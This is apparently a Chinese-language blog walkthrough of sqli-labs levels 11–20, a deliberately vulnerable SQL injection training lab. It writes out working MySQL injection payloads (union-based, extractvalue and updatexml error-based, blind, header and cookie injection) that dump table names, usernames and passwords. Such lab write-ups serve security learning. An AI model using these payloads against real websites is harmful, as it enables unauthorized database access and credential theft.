从第11关开始,我们就进入到了POST注入的世界了。

POST
post是一种数据提交方式,它主要是指数据从客户端提交到服务器端,例如,我们常常使用的用户登录模块、网站的留言板模块等,在这些功能模块中我们提交的数据都是以

post的方式提交的服务器的,之后再由服务器端进行验证。
闯关时我们可以用burpsuit抓包软件也可以继续使用火狐+hackbar插件

好,开始闯关

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

我们先输账号为:admin'密码为:123可以看到123被单引号括住,说明是单引号闭合型。

接下来输入账号为:admin'#,密码为:123可以看到,页面显示正确进入,而且还有两个显示位面。

这就基本上和第一关一样,用联合注入。思路和第一关差不多,先输入一个不存在的用户名使前半部分报错0admin' order by 3#,(注意这里注释的话要用#,用–+页面会报错的)

页面错误,将3改为2,页面正常。所以有两个字段。

爆数据库名:Username:0admin' union select 1,database()#

爆数据表名:Username:0admin' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#

爆字段名:Username:0admin' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')#

爆所有数据:Username:0admin' union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#

第十二关

和第十一关一样,就是把单引号闭合换成双引号变形闭合就可以啦  {")闭合型注入}

第十三关

发现输入完正确的输入后,他不给我们回显出来,说明这关是盲注了,就又和第五关一样了,参考第五关。通过这关的名字我们可以判断是单引号变形,就是‘)进行闭合

获得数据库名

最后获得用户名和密码(中间跳了一个世纪的距离,不会的看我的上一篇文章很清晰的讲述了如何到这步)和第五关基本一样,不再赘述

第十四关

和第十三关基本一样就是把单引号变形变成双引号,过程不再赘述,最后获得用户名和密码

第十五关

这关题目是说时间延迟单引号盲注,那就用时间延迟吧,但是其实用上一关的布尔盲注也是完全可以的

获取用户名密码

第十六关

和第十五关基本一样,区别就是把单引号闭合变成了双引好括号闭合,没有回显位,用时间盲注

第十七关

这一关不管怎么找闭合性,都只出现同一串英文字母,因为这关对username做了很严格的过滤,对各种引号括号进行了转义,判断。但是它没有对password进行过滤,所有我们来对password进行爆破

Username:admin Password:1' order by 3#可以看到

有个报错显示,想到可以用报错注入。
爆数据库:Username:admin Password:1'and extractvalue(1,concat(0x7e,(select database()),0x7e))#&submit=Submit

爆数据表:Password:1'and extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),0x7e))#&sub mit=Submit
但是,到这里发现只出现了一个表名

那这样好像进行不下去了,搜索得知我们可以使用updatexml函数。
(1)updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数
(2)updatexml(xml_target,xpath_expr,new_xml)
(3)xml_target:原来的xml,也就是要替换的目标;
(4)xpath_expr:xpath的表达式;
(5)new_xml :替换后的xml;
(6)这一段的意思就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
在注入时,' or updatexml(1,concat('#',(Clause)),1)#
这时,Clause就是我们需要用到的子句了。

爆完整的列名
Password:' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#

爆字段名:' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#

查询数据时,并不能直接用简单的select concat(username),这样会引起报错。
因为在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询。

爆数据:' or updatexml(1,concat('#',(select * from (select concat_ws (' ',id,username,password) from users limit 0,1) a)),1)#然后修改limit的值就可以查到所有数据。

第十八关

这关是基于报错注入,上一关没有对password进行过滤,这关就进行过滤了,那怎么办呢?这关我们就要用burpsuite抓包神器了(注意把浏览器设置成代理模式,抓包的网站不要用localhost)

我们先输入一个admin,admin,发送到repeater

然后这句话换成我们想要的查询语句就可以了(使用extractvalue进行)

接下来的步骤和之前的报错型注入一摸一样,

获得数据库名

获得数据库表

获得数据库列名

获得用户名密码(这里只显示了一部分密码,当然可以用not in来看其他的密码)

第十九关

这一关一进去输入账户密码就发现有一个Referer的东西,我猜就是改变它的值,事实确实如此,和上一关基本一样就是把agent换成了referer

获得用户名密码

 第二十关

进来先输入用户名密码,测试一下,发现是关于cookie值的进行注入,那我们就在这里注入

在这里进行注入

还是那老一套,看加不加单引号,怎么闭合,有几个显示位。最后发现是单引号闭合,有三个显示位

获得数据库名

获得表名,获得列名,获得用户名密码,和第一关的payload一样,不再演示了

11-20关结束

sql-lib闯关11-20关的更多相关文章

  1. sqli-labs通关----11~20关

    第十一关 从第十一关开始,就开始用post来提交数据了,我们每关的目的都是获取users表下password字段的内容. post是一种数据提交方式,它主要是指数据从客户端提交到服务器端,例如,我们常 ...

  2. Monyer's Game 11~15关过关方法

    到目前为止,玩这个小游戏并过关的人数已经达到了81人,首先Monyer要感谢各位的捧场与支持.继续上次的<Monyer's Game 6~10关过关方法>,我们来看剩下几关的过关方法. 但 ...

  3. SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关

    0x1普通测试方式 (1)输入and1=1和and1=2测试,返回错误,证明存在注入 (2)union select联合查询 (3)查询表名 (4)其他 payload: ,( ,( 0x2 堆叠注入 ...

  4. XSS挑战20关

    第一关: 没有过滤,直接构造payload过关: http://127.0.0.1/xssgame/level1.php?name=test%3Cscript%3Ealert%28111%29%3C/ ...

  5. 20道C#练习题(二)11——20题

    11.一个游戏,前20关是每一关自身的分数,1-30关每一关是10分,31-40关,每一关是20分,1-49关,每一关是30分,第50关是100分,输入你现在闯到的关卡数,求你现在拥有的分数.利用if ...

  6. sql 第 10条 到20条

    sql 第 10条 到20条 select * from( select *,ROW_NUMBER () over (order by @@servername) as rownum from tb_ ...

  7. SQL反模式学习笔记20 明文密码

    目标:恢复或重置密码 反模式:使用明文存储密码 1.存储密码 使用明文存储密码或者在网络上传递密码是不安全的. 如果攻击者截取到你用来插入(或者修改)密码的sql语句,就可以获得密码.     黑客获 ...

  8. SQL Server安全(11/11):审核(Auditing)

    在保密你的服务器和数据,防备当前复杂的攻击,SQL Server有你需要的一切.但在你能有效使用这些安全功能前,你需要理解你面对的威胁和一些基本的安全概念.这篇文章提供了基础,因此你可以对SQL Se ...

  9. sqlplus: error while loading shared libraries: /u01/app/lib/libclntsh.so.11.1

    成功安装了Oracle 11g后,使用sqlplus登录数据库时遇到下面错误: [oracle@DB-Server ~]$ sqlplus / as sysdba   sqlplus: error w ...

  10. Error after SQL Server 2012 installation: Login Failure for "SQL Server Integration Services 11.0" SSIS service

    When you install SQL Server 2012 and you try to connect to SSIS services, you cannot due to that the ...

随机推荐

  1. 学习HEXO的历程

    前言: 简介 开始搭建 命令 API测试 逛github相关的帖子时,发现了hexo.正好想要做一个个人的博客,用来记录自己的各类感悟,所以花一些时间学习学习,以后博客可以放github,省得去注册c ...

  2. Linux sed命令实例解析

    最近看project的makefile,又见到了sed的强大编辑能力,在makefile工作之前,通常都是执行脚本或者make menuconfig来配置好各种全局变量.sed活动阶段通常在bash ...

  3. SecureCRT语法高亮设置

    因为默认情况下,SecureCRT不能显示语法高亮特性,整个界面颜色单一,看起来不爽,也没有效率,所有通过设置一下语法高亮还是很有必要的, 默认字体也看着不是很清晰,还是更改为我比较喜欢的Courie ...

  4. 下一个风口?迷你KTV能变成“绿巨人”吗

    近段时间,在全国各地多个商场.大学城等繁华地点,一种全新娱乐方式--迷你KTV变得火爆起来.这种仅能容纳两三人,以单首.时段等进行计费,且价格不低的点唱新模式,正成为投资者眼中的"新宠&qu ...

  5. Node学习(二) --使用http和fs模块实现一个简单的服务器

    1.创建一个www目录,存储静态文件1.html.1.jpg. * html文件内容如下: 12345678910111213 <html lang="en">< ...

  6. Apple App签名机制

    概览 数字签名 签名机制与验证过程 操作流程 数字签名 摘要算法 将任意长度文本通过一个算法得到一个固定长度的文本. 源文本不同,计算结果必然不同 无法从结果反推源 例如,MD5和SHA算法 非对称加 ...

  7. Eureka 注册中心看这一篇就够了

    服务注册中心是服务实现服务化管理的核心组件,类似于目录服务的作用,主要用来存储服务信息,譬如提供者 url 串.路由信息等.服务注册中心是微服务架构中最基础的设施之一. 在微服务架构流行之前,注册中心 ...

  8. 一次 Druid 连接池泄露引发的血案!

    最近某个应用程序老是卡,需要重启才能解决问题,导致被各种投诉,排查问题是 Druid 连接池泄露引发的血案.. 异常日志如下: ERROR - com.alibaba.druid.pool.GetCo ...

  9. Nginx之负载均衡配置(二)

    前文我们聊到了nginx作为负载均衡的配置,前端nginx作为调度器调度http或https请求,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/12458159 ...

  10. Mac上Burpsuite 拦截不到HTTPS流量怎么设置

    在百度了一堆以及修修改改下终于拦截到HTTPS流量了. 安装步骤就大致讲一下吧 网上下载burp的安装包,然后Mac上直接打开这个burpUnlimited.jar包就可以了 我直接选择的第一个   ...